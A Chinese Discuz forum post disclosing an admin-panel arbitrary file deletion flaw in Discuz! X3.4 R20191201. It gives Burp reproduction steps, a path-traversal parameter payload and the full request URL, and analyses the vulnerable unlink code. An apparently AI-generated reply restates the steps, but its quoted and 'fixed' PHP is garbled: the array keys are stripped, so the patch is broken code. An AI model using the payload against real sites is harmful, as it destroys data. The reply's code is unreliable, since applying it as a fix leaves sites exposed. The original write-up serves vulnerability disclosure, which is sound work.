·设为首页收藏本站📧邮箱修改🎁免费下载专区📒收藏夹👽聊天室📱AI智能体
返回列表 发布新帖

[BUG反馈] Discuz! X3.4 R20191201后台任意文件删除漏洞[版块burp拦截提交]

706 1
发表于 2020-8-10 09:26:17 | 查看全部 阅读模式

马上注册,免费下载更多dz插件网资源。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
1、简述
后台任意文件删除,需要有管理员的权限。
2、复现环境
同上
3、漏洞复现
登陆后台,进入社区->模块管理->编辑板块,使用burp拦截提交的数据。
Discuz! X3.4 R20191201后台任意文件删除漏洞[版块burp拦截提交] 后台,任意,文件,删除,漏洞

修改请求包,添加参数 &replybgnew=../../../testfile.txt&delreplybg=1
Discuz! X3.4 R20191201后台任意文件删除漏洞[版块burp拦截提交] 后台,任意,文件,删除,漏洞
发送,查看文件发现被删除。
Discuz! X3.4 R20191201后台任意文件删除漏洞[版块burp拦截提交] 后台,任意,文件,删除,漏洞

4、漏洞分析
分析一下该请求的流程。
请求URL:/dz/upload/admin.php?action=forums&operation=edit&fid=2&replybgnew=../../../testfile.txt&delreplybg=1
在admin.php中接收了action参数,在第58行经过admincpfile函数处理后返回文件路径,并包含该文件。

  1. if($admincp->allow($action, $operation, $do) || $action == 'index') {
  2.         require $admincp->admincpfile($action);
复制代码

看一下该函数的处理过程:
  1. function admincpfile($action) {
  2.         return './source/admincp/admincp_'.$action.'.php';
  3.     }
复制代码
经过处理返回的内容是:./source/admincp/admincp_forums.php,也就来到了漏洞存在的地方。
根据if/else的判断条件,进入else中的代码:
  1. if(!submitcheck('detailsubmit')) {
  2.   ......
  3. }
  4. else{

  5. }
复制代码

造成漏洞的代码:
  1. if(!$multiset) {
  2.   if($_GET['delreplybg']) {
  3.     $valueparse = parse_url($_GET['replybgnew']);
  4.     if(!isset($valueparse['host']) && file_exists($_G['setting']['attachurl'].'common/'.$_GET['replybgnew'])) {
  5.       @unlink($_G['setting']['attachurl'].'common/'.$_GET['replybgnew']);
  6.     }
  7.     $_GET['replybgnew'] = '';
  8.   }
复制代码

$multiset默认为0,只要不给该参数赋值就满足条件进入if语句。
第二个if语句,检查GET参数delreplybg有没有内容,然后做了下检测,检测parse_url函数返回的结果中有没有host这个变量,来确保GET参数replybgnew不是url,但是并不影响传入文件路径。
这里$_G['setting']['attachurl'的值为data/attachment/,再拼接上common/和$_GET['replybgnew'],这样路径就可控了。通过unlink达到文件删除的目的。


我要说一句 收起回复
一花一世界,一叶一追寻。一曲一场叹,一生为一人。

评论1

Discuz智能体Lv.8 发表于 5 天前 | 查看全部
### 漏洞分析

该漏洞存在于Discuz! X3.4 R20191201版本的后台管理模块中,具体涉及文件删除功能。漏洞的核心问题在于后台管理模块在处理文件删除请求时,未对用户输入的文件路径进行严格的校验,导致攻击者可以通过构造恶意请求删除服务器上的任意文件。

### 漏洞复现步骤

1. **环境准备**:
   - 安装Discuz! X3.4 R20191201版本。
   - 确保拥有管理员权限。

2. **漏洞复现**:
   - 登录Discuz!后台管理界面。
   - 进入“社区” -> “模块管理” -> “编辑板块”。
   - 使用Burp Suite等工具拦截提交的数据包。
   - 修改请求包,添加参数 `&replybgnew=../../../testfile.txt&delreplybg=1`。
   - 发送修改后的请求包。
   - 检查服务器上的 `testfile.txt` 文件是否被删除。

### 漏洞分析

1. **请求流程**:
   - 请求URL:`/dz/upload/admin.php?action=forums&operation=edit&fid=2&replybgnew=../../../testfile.txt&delreplybg=1`
   - 在 `admin.php` 中,接收 `action` 参数,并通过 `admincpfile` 函数处理,返回文件路径并包含该文件。

2. **关键代码分析**:
   - `admincpfile` 函数:
   
  1. function admincpfile($action) {
  2.          return './source/admincp/admincp_'.$action.'.php';
  3.      }
复制代码

     该函数返回 `./source/admincp/admincp_forums.php`,即进入漏洞存在的文件。

   - 漏洞代码段:
   
  1. if(!$multiset) {
  2.          if($_GET) {
  3.              $valueparse = parse_url($_GET);
  4.              if(!isset($valueparse) && file_exists($_G.'common/'.$_GET)) {
  5.                  @unlink($_G.'common/'.$_GET);
  6.              }
  7.              $_GET = '';
  8.          }
  9.      }
复制代码

     - `$multiset` 默认为 `0`,因此进入 `if` 语句。
     - `$_GET` 参数被检查,`parse_url` 函数用于解析 URL,但并未对文件路径进行严格校验。
     - `file_exists` 函数检查文件是否存在,如果存在则调用 `unlink` 函数删除文件。

### 漏洞利用

攻击者可以通过构造恶意请求,利用 `replybgnew` 参数指定要删除的文件路径,并通过 `delreplybg` 参数触发删除操作。由于路径未经过严格校验,攻击者可以删除服务器上的任意文件。

### 修复建议

1. **严格校验文件路径**:
   - 在删除文件之前,应对文件路径进行严格校验,确保路径在允许的范围内。
   - 可以使用 `realpath` 函数获取文件的绝对路径,并与允许的目录进行比较。

2. **限制删除操作**:
   - 仅允许删除特定目录下的文件,避免删除系统关键文件。
   - 在删除文件之前,增加权限检查,确保只有授权用户才能执行删除操作。

3. **更新Discuz!版本**:
   - 及时更新到最新版本的Discuz!,以修复已知的安全漏洞。

### 示例修复代码

  1. if(!$multiset) {
  2.     if($_GET) {
  3.         $valueparse = parse_url($_GET);
  4.         if(!isset($valueparse) && file_exists($_G.'common/'.$_GET)) {
  5.             $filePath = realpath($_G.'common/'.$_GET);
  6.             $allowedPath = realpath($_G.'common/');
  7.             if(strpos($filePath, $allowedPath) === 0) {
  8.                 @unlink($filePath);
  9.             }
  10.         }
  11.         $_GET = '';
  12.     }
  13. }
复制代码


通过上述修复代码,可以确保删除的文件路径在允许的范围内,从而防止任意文件删除漏洞的利用。

### 总结

该漏洞是由于Discuz!后台管理模块在处理文件删除请求时未对文件路径进行严格校验导致的。通过严格校验文件路径、限制删除操作以及及时更新Discuz!版本,可以有效修复该漏洞,确保网站的安全性。
-- 本回答由 人工智能 AI智能体 生成,内容仅供参考,请仔细甄别。
我要说一句 收起回复

回复

 懒得打字嘛,点击右侧快捷回复【查看最新发布】   【应用商城享更多资源】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

站长推荐上一条 /1 下一条

AI智能体
投诉/建议联系

discuzaddons@vip.qq.com

未经授权禁止转载,复制和建立镜像,
如有违反,按照公告处理!!!
  • 联系QQ客服
  • 添加微信客服

联系DZ插件网微信客服|最近更新|Archiver|手机版|小黑屋|DZ插件网! ( 鄂ICP备20010621号-1 )|网站地图 知道创宇云防御

您的IP:18.117.186.60,GMT+8, 2025-3-26 18:27 , Processed in 0.542281 second(s), 74 queries , Gzip On, Redis On.

Powered by Discuz! X5.0 Licensed

© 2001-2025 Discuz! Team.

关灯 在本版发帖
扫一扫添加微信客服
QQ客服返回顶部
快速回复 返回顶部 返回列表